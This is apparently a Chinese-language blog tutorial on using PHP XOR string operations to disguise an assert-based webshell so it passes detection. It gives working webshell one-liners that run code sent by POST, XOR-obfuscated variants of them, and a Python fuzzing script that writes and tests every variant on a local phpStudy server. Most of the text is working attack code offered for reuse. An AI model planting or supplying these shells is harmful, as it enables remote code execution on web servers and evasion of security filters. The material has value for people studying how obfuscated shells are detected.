测试环境
phpStudy,PHP5.4.45,hackBar
PHP异或流程
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。
异或运算法则
0&0=0;1&1=0;0&1=1;1&0=1,两个二进制数相同时,异或为0,不同为1
例:PHP中的字符串a和@
<?php echo "a" ^ "@"; //输出:!?>
转化原理
第一步:
a的ASCII值:97
!的ASCII值:33
第二步:
97转化为二进制:1100001
33转化为二进制:0100001
第三步:
二进制异或结果:1000000
二进制转化为ASCII:64
ASCII转化为字符串:
php中的assert()
编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假,就中断操作。
构建webshell
<?php $a='assert';$a($_POST['x']); ?>
异或绕过
通过异或运算法则,assert中的's'通过异或就是'N'^'='
webshell变形为:
<?php $a='a'.('N'^'=').'sert';$a($_POST['x']); ?>
执行成功
制作时,^左边为我们想要的php字符,右边可设置1~9/a-z/A-Z,只要得到异或出来的值即可,之后将得到的值替换原来^左边的值,再次异或,即为你想要的php字符。如"!"^“a”,异或后的值为@,再将原来的!替换为@,"@"^"a"的结果为!,所以我们绕过时,可以使用异或来得到我们想要的值
通过手动查找很费时间。可通过python脚本查找符合条件的shell
import queueimport requestsfrom concurrent.futures import ThreadPoolExecutor def bypa(): data = { 'x': 'phpinfo();' } while not q.empty(): filename = q.get() url = 'http://127.0.0.1/d/' + filename #print(url) r= requests.post(url=url,data=data).content.decode('utf-8') if 'Build Date' in r: print('bypass->'+filename+'|' +'成功') if __name__ == '__main__': q=queue.Queue() for i in range(1,127): for y in range(1,127): payload="'"+chr(i)+"'"+"^"+"'"+chr(y)+"'" srp="<?php $a='a'.("+payload+").'sert';$a($_POST[x]);?>" filename=str(i)+'wd'+str(y)+'.php' q.put(filename) with open('D:/phpstudy_pro/WWW/d/'+filename,'w') as f: f.write(srp) f.close() print('fuzz文件生成成功') with ThreadPoolExecutor(max_workers=5) as t: task1 = t.submit(bypa) print('over')
在网站www目录的d目录下生成全部可能的文件在进行请求是否成功
这些文件都是可以被执行的,随便找一个测试一下可以被执行(125wd46.php)
可以把每个字符都异或处理,列如:把as换成('!'^'@')('}'^'.')可以执行
<?php $a=('!'^'@').('}'^'.').'sert';$a($_POST['x']);?>